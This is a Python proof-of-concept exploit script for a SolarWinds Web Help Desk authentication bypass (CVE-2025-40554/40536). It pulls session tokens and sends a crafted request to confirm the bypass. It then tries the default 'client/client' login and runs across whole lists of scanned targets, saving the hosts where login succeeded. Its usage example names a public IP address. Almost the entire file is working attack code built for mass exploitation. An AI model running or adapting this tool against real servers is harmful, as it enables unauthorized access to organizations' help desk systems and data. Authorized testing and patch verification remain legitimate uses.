#!/usr/bin/env python3 """ CVE-2025-40554 / CVE-2025-40536 - SolarWinds Web Help Desk auth bypass + login PoC. Single script: -t single target, -l target list. Auth bypass then client/client login. Saves vulnerable+login only (default: vulnerable_login.txt). Use only on authorized systems. """ import argparse import re import sys import urllib.parse from typing import List, Optional, Tuple import requests try: import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) except Exception: pass VERIFY_SSL = False TIMEOUT = 12 def normalize_base_url(url: str) -> str: parsed = urllib.parse.urlparse(url) base = f"{parsed.scheme or 'https'}://{parsed.netloc}" return base.rstrip("/") def get_session(base_url: str) -> Tuple[requests.Session, Optional[str], Optional[str]]: session = requests.Session() session.verify = VERIFY_SSL session.headers.update({ "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-40554-PoC/1.0)", "X-Webobjects-Recording": "1", }) url = f"{base_url}/helpdesk/WebObjects/Helpdesk.woa" try: r = session.get(url, timeout=TIMEOUT, allow_redirects=True) except requests.RequestException: return session, None, None if r.status_code != 200: return session, None, None wosid = None for h, v in r.headers.items(): if h.lower() == "x-webobjects-session-id": m = re.match(r"([a-zA-Z0-9]{22})", v.strip()) if m: wosid = m.group(1) break if not wosid: wosid = session.cookies.get("wosid") if wosid: m = re.match(r"^([a-zA-Z0-9]{22})$", wosid) wosid = m.group(1) if m else None if not wosid: m = re.search(r"[xX]-[wW]eb[oO]bjects-[sS]ession-[iI]d:\s*([a-zA-Z0-9]{22})", r.text) if m: wosid = m.group(1) if not wosid and "Set-Cookie" in str(r.headers): m = re.search(r"[wW]osid=([a-zA-Z0-9]{22})", str(r.headers.get("Set-Cookie", ""))) if m: wosid = m.group(1) xsrf = session.cookies.get("XSRF-TOKEN") or session.cookies.get("xsrf-token") if not xsrf and "Set-Cookie" in str(r.headers.get("Set-Cookie", "")): m = re.search(r"XSRF-TOKEN=([a-z0-9-]+)", str(r.headers.get("Set-Cookie", "")), re.I) if m: xsrf = m.group(1) return session, wosid, xsrf def check_bypass(base_url: str, session: requests.Session, wosid: str, xsrf: Optional[str]) -> bool: path = f"/helpdesk/WebObjects/Helpdesk.woa/wo/bogus.wo/{wosid}/1.0" params = {"badparam": "/ajax/", "wopage": "LoginPref"} headers = {} if xsrf: headers["X-Xsrf-Token"] = xsrf try: r = session.get(f"{base_url}{path}", params=params, timeout=TIMEOUT, headers=headers or None) except requests.RequestException: return False if r.status_code != 200: return False indicators = ("externalAuthContainer", "JSONRpcClient", "SAML 2.0", "LoginPref") return any(i in r.text for i in indicators) def parse_login_form(html: str, base_url: str) -> Optional[dict]: m = re.search(r'action="(/helpdesk/WebObjects/Helpdesk\.woa/wo/[^"]+)"', html) if not m: return None action_path = m.group(1) m = re.search(r'name="_csrf"[^>]*value="([^"]+)"', html) csrf = m.group(1) if m else None m = re.search(r'MDSSubmitLink([0-9.]+)', html) submit_id = m.group(1) if m else None if not action_path or not csrf or not submit_id: return None return {"action_url": base_url + action_path, "_csrf": csrf, "submit_id": submit_id} def check_login(base_url: str, session: requests.Session, xsrf: Optional[str], user: str = "client", password: str = "client") -> bool: url = f"{base_url}/helpdesk/WebObjects/Helpdesk.woa" try: r = session.get(url, timeout=TIMEOUT, allow_redirects=True) except requests.RequestException: return False if r.status_code != 200: return False form = parse_login_form(r.text, base_url) if not form: return False data = { "userName": user, "password": password, "_csrf": form["_csrf"], "MDSForm__EnterKeyPressed": "0", "MDSForm__ShiftKeyPressed": "0", "MDSForm__AltKeyPressed": "0", form["submit_id"]: form["submit_id"], } headers = {} if xsrf: headers["X-Xsrf-Token"] = xsrf try: post = session.post(form["action_url"], data=data, headers=headers or None, timeout=TIMEOUT, allow_redirects=True) except requests.RequestException: return False if post.status_code in (302, 303, 307): return True if "loginForm" not in post.text: return True if post.cookies.get("whdauth_helpdesk"): return True return False def extract_base_url_from_line(line: str) -> Optional[str]: line = line.strip() if not line or line.startswith("#"): return None m = re.search(r"(https?://[^\s/\"]+(?::\d+)?)", line) return m.group(1).rstrip("/") if m else None def run_one(base_url: str, do_login: bool, quiet: bool = False) -> Tuple[bool, bool]: """Run bypass + optional login. Returns (vulnerable, login_ok).""" base_url = normalize_base_url(base_url) if not quiet: print(f"[*] Target: {base_url}") print("[*] Getting session...") session, wosid, xsrf = get_session(base_url) if not wosid: if not quiet: print("[!] No session (wosid). Target may not be WHD or patched.") return False, False if not quiet: print("[*] Checking auth bypass...") if not check_bypass(base_url, session, wosid, xsrf): if not quiet: print("[!] Not vulnerable (bypass failed).") return False, False if not quiet: print("[+] Auth bypass confirmed.") if not do_login: return True, False if not quiet: print("[*] Trying login (client/client)...") login_ok = check_login(base_url, session, xsrf) if not quiet: print("[+] Login OK" if login_ok else "[!] Login failed") return True, login_ok def main(): parser = argparse.ArgumentParser( description="CVE-2025-40554: auth bypass + login PoC. Single script for -t / -l. Saves vulnerable+login only.", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: %(prog)s -t https://203.106.221.203:8443 %(prog)s -t https://target:8443 --no-login %(prog)s -l result_all.txt %(prog)s -l targets.txt -o vulnerable_login.txt """ % {"prog": "exploit_auth_bypass.py"}, ) g = parser.add_mutually_exclusive_group(required=True) g.add_argument("-t", "--target", metavar="URL", help="Single target URL") g.add_argument("-l", "--list", metavar="FILE", dest="list_file", help="Target list (one URL or Nuclei-style line per line)") parser.add_argument("--no-login", action="store_true", help="Bypass only, skip client/client login") parser.add_argument("-o", "--output", metavar="FILE", default="vulnerable_login.txt", help="Output file for vulnerable+login URLs (default: vulnerable_login.txt)") parser.add_argument("-q", "--quiet", action="store_true", help="Quiet (with -l: print only login-OK URLs)") args = parser.parse_args() do_login = not args.no_login if args.target: base_url = normalize_base_url(args.target) vuln, ok = run_one(base_url, do_login, quiet=False) sys.exit(0 if vuln else 5) # -l list try: lines = open(args.list_file).readlines() except FileNotFoundError: print(f"[!] File not found: {args.list_file}") sys.exit(1) urls: List[str] = [] seen = set() for line in lines: base = extract_base_url_from_line(line) if base and base not in seen: seen.add(base) urls.append(base) if not urls: print("[!] No valid URLs in list.") sys.exit(1) if not args.quiet: print(f"[*] Loaded {len(urls)} targets from {args.list_file}") if do_login: print("[*] Bypass + login (client/client). Saving vulnerable+login only.") else: print("[*] Bypass only.") login_ok_list: List[str] = [] vulnerable_list: List[str] = [] for i, base_url in enumerate(urls, 1): if not args.quiet: print(f"[{i}/{len(urls)}] {base_url} ... ", end="", flush=True) try: vuln, ok = run_one(base_url, do_login, quiet=True) if vuln: vulnerable_list.append(base_url) if ok: login_ok_list.append(base_url) if not args.quiet: print("[vulnerable] [login OK]") else: print(base_url) else: if not args.quiet: print("[vulnerable]") else: if not args.quiet: print("[no]") except Exception: if not args.quiet: print("[error]") if not args.quiet: print() print(f"Total: {len(vulnerable_list)} vulnerable, {len(login_ok_list)} with login OK") if do_login and login_ok_list: with open(args.output, "w") as f: for u in login_ok_list: f.write(u + "\n") if not args.quiet: print(f"Saved: {args.output} ({len(login_ok_list)} URLs)") elif not do_login and vulnerable_list: with open(args.output, "w") as f: for u in vulnerable_list: f.write(u + "\n") if not args.quiet: print(f"Saved: {args.output} ({len(vulnerable_list)} vulnerable)") sys.exit(0 if login_ok_list or vulnerable_list else 5) if __name__ == "__main__": main()